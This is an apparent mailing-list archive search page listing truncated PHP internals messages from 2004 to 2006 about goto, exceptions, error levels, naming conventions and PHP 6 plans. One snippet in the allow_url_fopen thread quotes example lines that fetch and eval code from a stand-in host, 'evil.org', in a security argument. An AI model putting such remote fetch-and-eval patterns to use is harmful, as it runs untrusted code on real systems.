On Apr 18, 2005, at 8:26 AM, Wez Furlong wrote:
From a technical viewpoint, how do these attributes affect the class?
Are they simply no-ops that are tagged and made available via the
reflection API? How does this really help improve PHP? I know it
sounds cool, but so does recording phpdoc
[EMAIL PROTECTED] wrote:
[EMAIL PROTECTED] writes:
Leonardo Pedretti [EMAIL PROTECTED] writes:
I would like (for code cleanliness purposes) to make 'new' return a
reference to an already created object under certain circumstances without
using a factory, is it possible?
A number of months
On May 13, 2005, at 5:29 PM, Jared Williams wrote:
While hacking on a PHPDoc - WSDL generator, I ran into an
annoying limitation in the dom extension: you can't add a
namespace to a dom document unless you have an element in
that namespace. Why might you want to do this? Well, a
common thing is
On May 16, 2005, at 3:16 PM, Blake Matheny wrote:
Attached is a small patch that allows for a custom error handler to
be used instead of php_log_err. This is useful for custom logging
of error types that can't be handled with a user-space error
handler (such as E_ERROR, E_PARSE, etc.).
In
On May 17, 2005, at 8:04 AM, Blake Matheny wrote:
Is there anything incorrect/wrong with the solution I proposed? I
realize that a custom extension would also work, but there are
several advantages to doing it the way I implemented it
- No need to add an extension every time you upgrade PHP
On May 30, 2005, at 7:15 PM, Andi Gutmans wrote:
Not sure who you're talking to but I know a large amount of
companies (some of them huge) who have based their development on
PHP 5.
Can you share (or guess at) the skew of companies migrating existing
apps from PHP4 to PHP5 versus the
On Jun 6, 2005, at 3:09 AM, Derick Rethans wrote:
On Mon, 6 Jun 2005, Jani Taskinen wrote:
And the much needed goto for the next one (5.2/5.5/6.0 or
whatever it
will be) ?
So +1 from me. (wasn't there a patch for this already somewhere?)
For me too: +1.
+1 here as well.
George
On Jun 6, 2005, at 9:28 AM, Derick Rethans wrote:
On Mon, 6 Jun 2005, Stanislav Malyshev wrote:
MMExceptions ? No thank you, even worse then continue/break..
Why is it worse? That's something that I don't understand - why
people
think exceptions, which have clear structured mechanism of
On Jun 6, 2005, at 1:46 PM, Sebastian Bergmann wrote:
George Schlossnagle wrote:
Why do you need to use OO to use exceptions?
Maybe throw new Exception; is already too much OO for somebody's
mother because you create a new object of the Exception class here.
I'm pretty sure I can
On Jun 7, 2005, at 7:37 AM, Nelson Menezes wrote:
Goto is a plainly bad idea. Yes it has its uses, but 99% of
the time it would just be completely, mercilessly, utterly abused.
Its not good or bad, just a language construct. Its how you use it.
I agree. I just think it will be used badly
On Jun 7, 2005, at 8:08 AM, Stanislav Malyshev wrote:
AHDoes C suffer from having goto?
Does C suffer from being able to freely convert any type to any and
access
any memory location? Should we add these features too?
Funny, I was just talking with Andi about that at dinner the other
On Jun 7, 2005, at 8:12 AM, Stanislav Malyshev wrote:
GSAnd yet it exists and people use it productively - so you've
GSsuccessfully undermined your own argument (and Perl's goto is
far more
GSflexible|evil than the one proposed for PHP).
Care to give example where it is really needed and
On Jun 7, 2005, at 8:25 AM, Stanislav Malyshev wrote:
GBcontrol structures are not useful. This is not the case in PHP. A
GBsimple example in the manual showing proper usage of break/
continue
GBand warning to only use goto as a last resort would be
sufficient for
GBdiscouraging newbies
On Jun 7, 2005, at 8:43 AM, Stanislav Malyshev wrote:
GSPerl's goto specifically forbids jumping into control
structures that
GSrequire intialization (for instance, foreach()). That seems
like a
GSsensible limitation to me.
jumping out is no good either.
Because of the memory issues?
On Jun 7, 2005, at 8:46 AM, Sascha Schumann wrote:
As for my own example, many state machines make extensive use of
goto to avoid recursive calls.
Goto is not required for that. State machines such as the
following
You conveniently ignored the part of my mail where I noted that
On Jun 7, 2005, at 8:55 AM, Stanislav Malyshev wrote:
GS b) a problem that self-rectifies at the end of the request (as
per
GSDerick's discussion).
So you basically is saying let's ignore memory leaks.
Well, point a) implied that it's a solvable problem, at least as much
as it is when
On Jun 9, 2005, at 6:51 PM, Andi Gutmans wrote:
Hi,
Finally catching up with all the million comments. Definitely a way
to get distracted from real work :)
I don't want to get distracted from what I consider should be the
main objective and bigger issues than yes to one or another
On Jun 16, 2005, at 2:50 PM, boots wrote:
--- Andi Gutmans [EMAIL PROTECTED] wrote:
You missed the point of E_STRICT. I introduced it as an E_PEDANTIC.
That was the whole idea. To be pedantic about code that works, not
to warn about code that doesn't work (which is for higher warning
On Jun 16, 2005, at 10:15 PM, boots wrote:
These answers make me feel as if maybe just a little bit you guys are
looking down your nose at me without really considering the basis of
the issue I am trying to raise. I know the tools well enough to use
E_ALL -- thanks. I'm concerned about end
On Jul 7, 2005, at 7:56 PM, Andi Gutmans wrote:
It would look the following:
$timeZone-getName();
vs.
date_timezone_get($date);
$date-getOffset();
vs.
date_offset_get($date);
Personally, unrelated to OO I think it's a nicer and cleaner way of
exposing such an API. It would also make it
?
--
.''`.Piotr Roszatycki, Netia SA
: :' :mailto:[EMAIL PROTECTED]
`. `' mailto:[EMAIL PROTECTED]
`-
--
PHP Internals - PHP Runtime Development Mailing List
To unsubscribe, visit: http://www.php.net/unsub.php
George Schlossnagle
-- Vice President of Engineering
-- OmniTI Computer
On Jul 18, 2005, at 10:30 AM, Andrew Yochum wrote:
On Jul 18, 2005, at 10:15 AM, George Schlossnagle wrote:
Drop-in replacements are evil. If you want to do this, you should
just create a new function that does what you need to do and name
it differently. If you're dead-set on doing
On Jul 28, 2005, at 9:10 AM, Zeev Suraski wrote:
At 01:50 AM 7/28/2005, Ilia Alshanetsky wrote:
Are you therefore saying SOAP support should be 100% diabled when
allow_url_fopen is off?
SOAP is not disabled, simply prevented from querying remote data
sources directly.
What exactly
On Jul 28, 2005, at 9:21 AM, Ilia Alshanetsky wrote:
Zeev Suraski wrote:
At 01:50 AM 7/28/2005, Ilia Alshanetsky wrote:
Are you therefore saying SOAP support should be 100% diabled when
allow_url_fopen is off?
SOAP is not disabled, simply prevented from querying remote data
sources
On Jul 28, 2005, at 9:49 AM, Ilia Alshanetsky wrote:
sure: eval('file_get_contents(http://evil.org;);');
Ok, but there is nothing (allow_url_fopen does not work here)
preventing me from doing similar via:
$fp = fsockopen(evil.org, 80);
$fp = fwrite($fp, GET /evil_code.txt
On Aug 9, 2005, at 5:56 AM, Pierre-Alain Joye wrote:
On Tue, 9 Aug 2005 10:15:15 +0200 (CEST)
[EMAIL PROTECTED] (Derick Rethans) wrote:
On Tue, 9 Aug 2005, Pierre-Alain Joye wrote:
This technique is already frequently used to cope with lazy
loaded code, which even with cached code
On Aug 9, 2005, at 3:12 PM, steve roussey wrote:
On 8/8/05, Rasmus Lerdorf [EMAIL PROTECTED] wrote:
3. Problems with thread-safety of modules
You missed the most serious one. Thread safety problems in random
libraries you link in and we have absolutely no control over those.
OK, I am
Mailing List
To unsubscribe, visit: http://www.php.net/unsub.php
--
PHP Internals - PHP Runtime Development Mailing List
To unsubscribe, visit: http://www.php.net/unsub.php
George Schlossnagle
-- Vice President of Engineering
-- OmniTI Computer Consulting
-- http://www.omniti.com
On Aug 10, 2005, at 10:30 AM, Rasmus Lerdorf wrote:
Yeah, print/echo was just a way of describing the underlying output
stuff. It wasn't meant to be taken literally.
Given the __toString fiasco, it's understandable that this would be
confusing though.
George
--
PHP Internals - PHP
On Aug 12, 2005, at 1:48 PM, Rasmus Lerdorf wrote:
Since we are breaking a lot of stuff in 6.0, at least with
Unicode_semantics=On I am wondering if it may not be time to break
some
more stuff and do a bit of spring cleaning. It would mean many apps
would need some work to work on PHP 6,
On Aug 12, 2005, at 2:19 PM, Derick Rethans wrote:
On Fri, 12 Aug 2005, George Schlossnagle wrote:
3. Add input filter extension which will include a mechanism for
application developers to very easily turn it off which would
swap
the raw GPC arrays back in case the site had
On Aug 13, 2005, at 2:29 AM, Ilia Alshanetsky wrote:
Marcus Boerger wrote:
9. __toString) everywhere, but i already said i'll take care of
that unless
i am being held back. So now go for that or live with the fact
that php is
meant to generate html pages which is text output. Thus sooner
On Aug 13, 2005, at 5:08 AM, Ondrej Ivanič wrote:
9. Shared memory storage for variables with transparent access.
(superglobal array?)
-1. This is hard to make consistent across all platforms, and will
break instantly when you go past 1 machine, making it confusing and
of marginal
On Aug 13, 2005, at 8:14 AM, Derick Rethans wrote:
On Fri, 12 Aug 2005, George Schlossnagle wrote:
I wrote up the following spec for this extension:
http://files.derickrethans.nl/filter_extension.html
Where's the part about an application swapping back for the raw
arrays (as
opposed
On Aug 13, 2005, at 8:19 AM, Derick Rethans wrote:
On Fri, 12 Aug 2005, steve roussey wrote:
4. Include an opcode cache by default. A lot of work has gone into
pecl/apc recently, but I am not hung up on which one goes in.
I have no karma to +1, but would if I could. It would be
On Aug 13, 2005, at 3:21 PM, Derick Rethans wrote:
On Sat, 13 Aug 2005, George Schlossnagle wrote:
Good. That function would be evil (imho). Given that you can't
access
super-globals as variable-variables, I think that having to really
get at
_RAW_GET[] will make it much more
On Aug 13, 2005, at 11:46 AM, Matthew Weier O'Phinney wrote:
* Christian Schneider [EMAIL PROTECTED] :
9. Named parameters. Preferred way would be via array()-less array
collation as we are already using this in our production system ;-) :
foo('id' = 42, 'name' = foo);
+1 -- this is one
On Aug 13, 2005, at 5:49 PM, Andrey Hristov wrote:
George Schlossnagle wrote:
On Aug 13, 2005, at 11:46 AM, Matthew Weier O'Phinney wrote:
* Christian Schneider [EMAIL PROTECTED] :
9. Named parameters. Preferred way would be via array()-less array
collation as we are already using
On Aug 13, 2005, at 5:57 PM, Andrey Hristov wrote:
George Schlossnagle wrote:
On Aug 13, 2005, at 5:49 PM, Andrey Hristov wrote:
George Schlossnagle wrote:
On Aug 13, 2005, at 11:46 AM, Matthew Weier O'Phinney wrote:
* Christian Schneider [EMAIL PROTECTED] :
9. Named parameters
On Aug 13, 2005, at 9:06 PM, Jani Taskinen wrote:
On Sat, 13 Aug 2005, George Schlossnagle wrote:
On Aug 13, 2005, at 5:08 AM, Ondrej Ivani wrote:
9. Shared memory storage for variables with transparent access.
(superglobal array?)
-1. This is hard to make consistent across all
On Aug 14, 2005, at 1:08 PM, Lukas Smith wrote:
As for removing register globals, a simple auto prepend will get
you register globals back, same goes for magic quotes. But moving
this stuff into userland will force people to take another hard
look at their code.
Also a good thing for
On Aug 14, 2005, at 1:24 PM, Al Baker wrote:
An embedded opcode cache I think is also essential and the surrounding
$_MEMORY sounds perfect to me. All Java guys (yeah I know PHP !=
Java)
say PHP isn't ready for the enterprise because it can't share
information between processes other than
On Aug 15, 2005, at 5:05 AM, Zeev Suraski wrote:
That's an excellent response. If one percent of the energy put
into the 'yay parade' and the 'let's break this too!' parade were
invested in coming up with a clean upgrade path, I wouldn't have
had to write the response I wrote.
Would
On Aug 15, 2005, at 2:29 AM, Jani Taskinen wrote:
On Sun, 14 Aug 2005, George Schlossnagle wrote:
On Aug 14, 2005, at 3:37 PM, Jani Taskinen wrote:
On Sun, 14 Aug 2005, Ilia Alshanetsky wrote:
If apc comes bundled then it includes apc_store() and apc_fetch
() this
is pretty much
On Aug 15, 2005, at 10:18 AM, Zeev Suraski wrote:
I agree that ensuring a migration
path is critical. Wez and I were discussing this in the car this
morning, and short of magic_quoutes_runtime, they all seemed like
they were straightforward to handle through am include (except for
the
On Aug 15, 2005, at 11:38 AM, Zeev Suraski wrote:
(*) Based on the fact php-general@ has 787 subscribers and current
estimates at the amount of PHP developers worldwide range between
500,000 to 2,000,000 developers. I actually got the opening number
wrong - it's 99.84%, not 98.5%.
On Aug 15, 2005, at 11:52 AM, Zeev Suraski wrote:
That's exactly what I was saying (in another part of the email).
It doesn't work in reverse order though - being on one of these
lists does usually mean that the developer is more 'hardcore' than
others.
Have you seen Harold and Kumar
On Aug 15, 2005, at 2:52 PM, sebastian wrote:
W4: Better lambda/anonymous functions and debugging for them.
Consider Perl's anonymous functions which disappear as the
references to them disappear. See the create_function() docs for
notes about memory leaks.
Well, Perl subroutines are
On Aug 18, 2005, at 10:43 PM, Rasmus Lerdorf wrote:
Or, alternatively, have a separate arrays:
[title]=
array(2) {
[0] = string(6) Title1
[1] = string(6) Title2
}
[media:title]=string(11) Media Title
The latter is actually what I was (naiively) expecting.
I think this
Development Mailing List
To unsubscribe, visit: http://www.php.net/unsub.php
George Schlossnagle
-- Vice President of Engineering
-- OmniTI Computer Consulting
-- http://www.omniti.com
On Aug 22, 2005, at 3:50 PM, Zeev Suraski wrote:
At 20:53 22/08/2005, Marcus Boerger wrote:
So in that case, the implementation in zend_error_cb() should
simply call
the user error handler if it's available, or treat it as if it's
E_ERROR if
there is no user error handler.
Isn't an
On Aug 22, 2005, at 4:02 PM, Derick Rethans wrote:
On Mon, 22 Aug 2005, George Schlossnagle wrote:
I'm talking about allowing type hints to be trappable by users,
without
complicating them with exceptions. I'm proposing a new error
level, which
behaves like E_ERROR, except it can
On Aug 29, 2005, at 2:38 PM, Gabor Hojtsy wrote:
Hi,
I am searching for some evidence in the PHP source code that the
possibility of omitting the closing PHP tag is absolutely intentional,
and in fact part of the language syntax, and therefore it is going
to be
supported indefinitely.
On Sep 15, 2005, at 9:21 AM, Leigh Makewell wrote:
If you don't know why it's wrong to tell them they are stupid, and
can't be bother spending an extra 10 seconds formulating a
respectable response instead, then you are the wrong person for the
job.
A cursory survey of the bugs db
On Sep 28, 2005, at 8:54 AM, Derick Rethans wrote:
On Wed, 28 Sep 2005, Steph wrote:
This is probably a stupid question, but why isn't there a default
setting?
And why can't the missing default setting be set by the system date
() data?
That's exactly what I was trying to do, except
On Sep 28, 2005, at 12:46 PM, Derick Rethans wrote:
On Wed, 28 Sep 2005, George Schlossnagle wrote:
Carrying on the stupid questions: Is it possible to make a better
'guess' in
the case that there are name-collisions or missing names and no
ini setting is
set? Perhaps something like
On Oct 4, 2005, at 11:50 AM, Tim Nufire wrote:
Ramus,
Thanks for the response. Unfortunately, I don't have any great
ideas on how to patch this and for now have just stopped using
gzinflate :-/ Is there a way to reopen bug 30153? That description
of this issue is pretty good and, even
On Oct 7, 2005, at 5:05 PM, Derick Rethans wrote:
On Fri, 7 Oct 2005, Rasmus Lerdorf wrote:
Which is why we need the unicode=off switch. I don't think there
is any
way we can make Unicode PHP as fast as non-Unicode PHP. For
people who
need Unicode support, Unicode PHP will be faster
On Oct 7, 2005, at 5:41 PM, Rasmus Lerdorf wrote:
Ilia Alshanetsky wrote:
George Schlossnagle wrote:
What is wrong with PHP 5.1? People don't *have* to upgrade to the
unicode enabled PHP if they don't want to. And it would probably be
nice to have that mode for some users, but should
Oliver Grätz wrote:
Do you read the posts you're commenting on?
I said there _were_ (there are not anymore) problems with PDO betas on
_Windows_ systems (that was a PECL build for PHP 5.0.3). This was not a
complaint on anything and I didn't complain then because it was beta and
not meant to
me 3.
goto is good.
Wez Furlong wrote:
me also
On 11/27/05, Edin Kadribasic [EMAIL PROTECTED] wrote:
Ilia Alshanetsky wrote:
If it comes down to count of +1/-1 about this feature, I am +1 for
unrestricted forward/backward jumps and -1 for restricted version.
I agree
Just as a reminder to all interested parties: the submission deadline
for 2006 O'Reilly Open Source Convention is coming to a close. All
submissions must be in by Monday, February 13th 23:59 PST to be
considered. Proposals can be submitted online at
Andrew Mather wrote:
i)a walkthrough of the exact steps + sample code to write an extension
without
requiring re-compilation of Php and without access to Php source code
ii) as above but with access to Php source code
You're clearly missing the -devel RPM that installs the
Sara Golemon wrote:
Originally George and Wez were going to be writing this book (and may yet do
their own version -- that's up to them). Due to innocuous reasons that I
can probably talk about but won't to be on the safe side, I wound up taking
over the project (and the ISBN number along
Michael Rasmussen wrote:
On Wed, 19 Apr 2006 13:52:13 -0400, Adam Maccabee Trachtenberg wrote:
Not if you think the improvements will break the code base because you
don't have time to do sufficient testing. I would prefer to avoid
regressions in minor releases and would like to use the
On Mar 23, 2004, at 6:52 AM, Edin Kadribasic wrote:
On Tuesday 23 March 2004 11:58, Georg Richter wrote:
I agree with Marcus (and I think Andi) here. If its not too much
trouble
OO interface to mysqli should IMHO follow the same conventions other
OO
extensions do,
beside changing c-code it's
-
On Mar 23, 2004, at 11:53 AM, Andrei Zmievski wrote:
On Mon, 22 Mar 2004, Andi Gutmans wrote:
What would you expect? That if a new style constructor is defined we
always
use that and allow old-style as regular method?
Yep.
I agree with the part about the new-style constructor always being
On Mar 23, 2004, at 1:11 PM, Rasmus Lerdorf wrote:
On Tue, 23 Mar 2004, Brad Fisher wrote:
Sure, but George was asking for a case. I think the case where you
have
some existing PHP4 code that you want to make minimal changes to but
you
might have a little bit of PHP5-specific code to run in
On Mar 23, 2004, at 4:30 PM, Andi Gutmans wrote:
At 01:24 PM 3/23/2004 -0800, Rasmus Lerdorf wrote:
On Tue, 23 Mar 2004, Georg Richter wrote:
Changing everything after an announced feature freeze sucks. It's
just
ignoring others (users, authors and publishers) - a loss of face.
Obviously
On Mar 23, 2004, at 6:48 PM, Marcus Boerger wrote:
As you know my actings started a long discussion and now i am
questioning:
Are we following our rules and decisions? And if so which
rule/decision do
ppl want me to follow? The one i did which potentially hurts some
article
writers? Or the
On Mar 23, 2004, at 11:21 PM, Adam Maccabee Trachtenberg wrote:
On Tue, 23 Mar 2004, Rasmus Lerdorf wrote:
they are all in sync. For example, Derek Ford's simplexml-related
message
to internals last week(*) worries me somewhat. He passed on what
looks to
be some basic brokeness in the
On Mar 24, 2004, at 12:06 AM, George Schlossnagle wrote:
I don't see where this actually looks up 'element', it seems like it
simply evaluates the existence of node. I committed a fix, but
someone who knows the code better should validate that it is correct.
btw, is there a bug number
The middle case of this dude's example raises a separate concern:
count() does not work for objects - it will always return 1. For
objects that implement the Iterator interface, it seems reasonable for
count() to return a non-trivial answer.
George
--
PHP Internals - PHP Runtime Development
On Mar 25, 2004, at 9:29 AM, Andi Gutmans wrote:
OK Guys. It's decision time. I suggested to move to studlyCaps and
keep consistency with the new PHP 5 changes.
If we go with this, I think we should make these changes ASAP and try
and aim for RC2 within two weeks.
Now I understand it's kind of
On Mar 26, 2004, at 9:16 AM, Ilia Alshanetsky wrote:
I should also mention that majority, if not all of the users whom I
spoke to
at the Montreal conference seem to prefer to have PHP stick to a single
naming convention that they are familiar with rather then use 2
distinct
naming conventions.
On Mar 26, 2004, at 9:38 AM, Ilia Alshanetsky wrote:
On March 26, 2004 09:35 am, you wrote:
So one would inherit from/extend a native class and then use
studlyCaps and
call underscore style methods from parent class. Can you imagine how
ugly
would this look?
It may look ugly, but without a
On Mar 26, 2004, at 10:30 AM, Stefan Walk wrote:
On Fri, Mar 26, 2004 at 07:05:15AM -0800, Rasmus Lerdorf wrote:
On Fri, 26 Mar 2004, Stefan Walk wrote:
Oh, and the strpos/str_repeat inconsistency should be 'fixed' too,
maybe
make strpos an alias to str_pos or alike...
So you are saying strlen()
On Mar 28, 2004, at 4:36 PM, Jon Parise wrote:
On Sun, Mar 28, 2004 at 03:57:22PM -0500, Andrew Heebner wrote:
AFAIK, Python supports the reload() method, which lets you dynamically
control includes while a script is running.
This is conceptually easier to implement in Python because a module is
On Mar 31, 2004, at 1:17 PM, Sterling Hughes wrote:
php5 shouldn't crash _at all_ within an infinite loop because we
aren't in one big execution loop.
Why shouldn't this crash eventually? You still have to account for all
the callers stacks.
George
--
PHP Internals - PHP Runtime Development
On Apr 1, 2004, at 5:58 AM, Lester Caine wrote:
Andrey Hristov wrote:
Hi,
scripts relying on the API of RC1 and before it will be broken
(exception are
scripts that rely on ext/mysqli).
The API is changed (afaik) in :
Reflection API
ext/sqlite
pecl/ffi
pecl/soap
probably other places.
OK so we
On Apr 7, 2004, at 10:17 AM, Robert Cummings wrote:
On Wed, 2004-04-07 at 09:56, inodes wrote:
Hello,
The PHP manual says it is the developer's job to ensure PHP sessions
cannot
be stolen or fixed (this is called Session Fixation).
To minimise the risk of session fixation, I wrote a patch for
On Apr 7, 2004, at 9:28 PM, Jochem Maas wrote:
maybe its possible for the parser to ignore public/private/protected
declarations on __call() ( also __set(), __get()) methods, given PHP
forgiving nature/image (at least that is my impression).
The whole point of PPP is to not be forgiving or
On Apr 7, 2004, at 9:48 PM, Jochem Maas wrote:
Sean Coates wrote:
While I like that your patch can be turned on and off in the INI,
this sounds much more like an application-level problem, and thus
should be implemented at the application level.
Loads of people have actually put stuff out that
On Apr 12, 2004, at 10:58 AM, Adam Maccabee Trachtenberg wrote:
On Mon, 12 Apr 2004, Ilia Alshanetsky wrote:
There is 1 problem with this approach. Currently an uncaught
exceptions
results in a fatal error (E_ERROR) meaning that if a particular
method throws
an exceptions it MUST be caught
On Apr 12, 2004, at 1:00 PM, Sterling Hughes wrote:
On Apr 12, 2004, at 8:50 AM, George Schlossnagle wrote:
On Apr 12, 2004, at 11:42 AM, Sterling Hughes wrote:
I like OO (*), and I think warnings (non-fatal errors) as exceptions
are a stupid idea. Does that count? ;-)
Exceptions in languages
On Apr 12, 2004, at 1:21 PM, Pierre-Alain Joye wrote:
On Mon, 12 Apr 2004 13:18:51 -0400
[EMAIL PROTECTED] (John Coggeshall) wrote:
snip
Again, we are talking about a very specific situation (PHP 5
extensions written using a dual-syntax model).Things in the PHP 4
branch are not an issue here,
On Apr 12, 2004, at 2:14 PM, Sterling Hughes wrote:
John has gone ahead and committed a perfect example of where
exceptions just mess things up. In the tidy extension if you try
and set an unknown configuration option it throws an exception.
This is not by any stretch of the imagination an
On Apr 12, 2004, at 3:06 PM, Sterling Hughes wrote:
It is. It's a hardocded portion of their app, and they made a
mistake. They may not care, but it's also possible that they do.
Assuming that they don't care enough to fix it seems equally crazy to
me.
Could be a version mismatch with tidy,
On Apr 13, 2004, at 4:16 PM, Adam Maccabee Trachtenberg wrote:
On Tue, 13 Apr 2004, Marcus Boerger wrote:
Hello Marcus --
This brings us back to an old problem the severity levels are
inconsistent.
And further more we decided some time back that E_ERRORs shouldn't be
converted to exceptions
On Apr 13, 2004, at 4:52 PM, Adam Maccabee Trachtenberg wrote:
I guess I'm confused about why some E_ERRORs are now able to be
handled in userland, but only by using exceptions.
It's important to note that this is now technically feasible but not
(yet) part of PHP. (You can actually do it as an
On Apr 13, 2004, at 5:18 PM, Adam Maccabee Trachtenberg wrote:
On Tue, 13 Apr 2004, George Schlossnagle wrote:
On Apr 13, 2004, at 4:52 PM, Adam Maccabee Trachtenberg wrote:
I guess I'm confused about why some E_ERRORs are now able to be
handled in userland, but only by using exceptions.
It's
On Apr 13, 2004, at 5:50 PM, David Sklar wrote:
George Schlossnagle wrote:
?php
$a = array() + 1;
?
This doesn't print Brray or maybe Arraz? :)
Not even in Perl.
George
--
PHP Internals - PHP Runtime Development Mailing List
To unsubscribe, visit: http://www.php.net/unsub.php
On Apr 15, 2004, at 8:28 AM, Christian Schneider wrote:
No, I dislike them because they create more problems than they solve.
Then don't use them. You're a bit late to the party to debate their
existence in the language.
George
--
PHP Internals - PHP Runtime Development Mailing List
To
On Apr 15, 2004, at 9:49 AM, Jani Taskinen wrote:
On Thu, 15 Apr 2004, George Schlossnagle wrote:
On Apr 15, 2004, at 8:28 AM, Christian Schneider wrote:
No, I dislike them because they create more problems than they solve.
Then don't use them. You're a bit late to the party to debate
On Apr 15, 2004, at 3:35 PM, Timm Friebe wrote:
On Thu, 2004-04-15 at 21:36, Chuck Hagenbuch wrote:
Quoting Hartmut Holzgraefe [EMAIL PROTECTED]:
[...]
If this were added, wouldn't it make sense to use the convention
already adopted
by perl?
$foo |= 'default';
Already used:
$ php -r '$a= 1; $a
On Apr 15, 2004, at 5:21 PM, Marcus Boerger wrote:
Hello Christian,
Thursday, April 15, 2004, 1:06:20 PM, you wrote:
[EMAIL PROTECTED] wrote:
modern dynamic languages in that context, as for instance in Python
there is no error handling but by using exceptions).
Sorry but that's simply wrong.
On Apr 16, 2004, at 5:51 PM, Marcus Boerger wrote:
Hello George,
thinking twice and rechecking it is a bit more complicated though.
NVL in oracle means Null-VaLue or beter 'NULL Value replacement'.
We want to replace the non-existing situation with a predefined value
which is slightly
On Apr 18, 2004, at 2:24 PM, Marc Richards wrote:
Do the pages that get included by the __autoload() function get parsed
and compiled along with the original page when using a code cache?
No, but since all the code caches cache each include file
independently, it doesn't matter. The include
On Apr 19, 2004, at 5:45 PM, George Schlossnagle wrote:
On Apr 19, 2004, at 5:37 PM, Christian Schneider wrote:
George Schlossnagle wrote:
Just to clarify a bit on why I think that we should differentiate:
1. First of all, I agree that in a perfect world we should go with
E_COMPILE_ERROR
- PHP Runtime Development Mailing List
To unsubscribe, visit: http://www.php.net/unsub.php
// George Schlossnagle
// Postal Engine -- http://www.postalengine.com/
// Ecelerity: fastest MTA on earth
--
PHP Internals - PHP Runtime Development Mailing List
To unsubscribe, visit: http://www.php.net
1 - 100 of 266 matches
Mail list logo
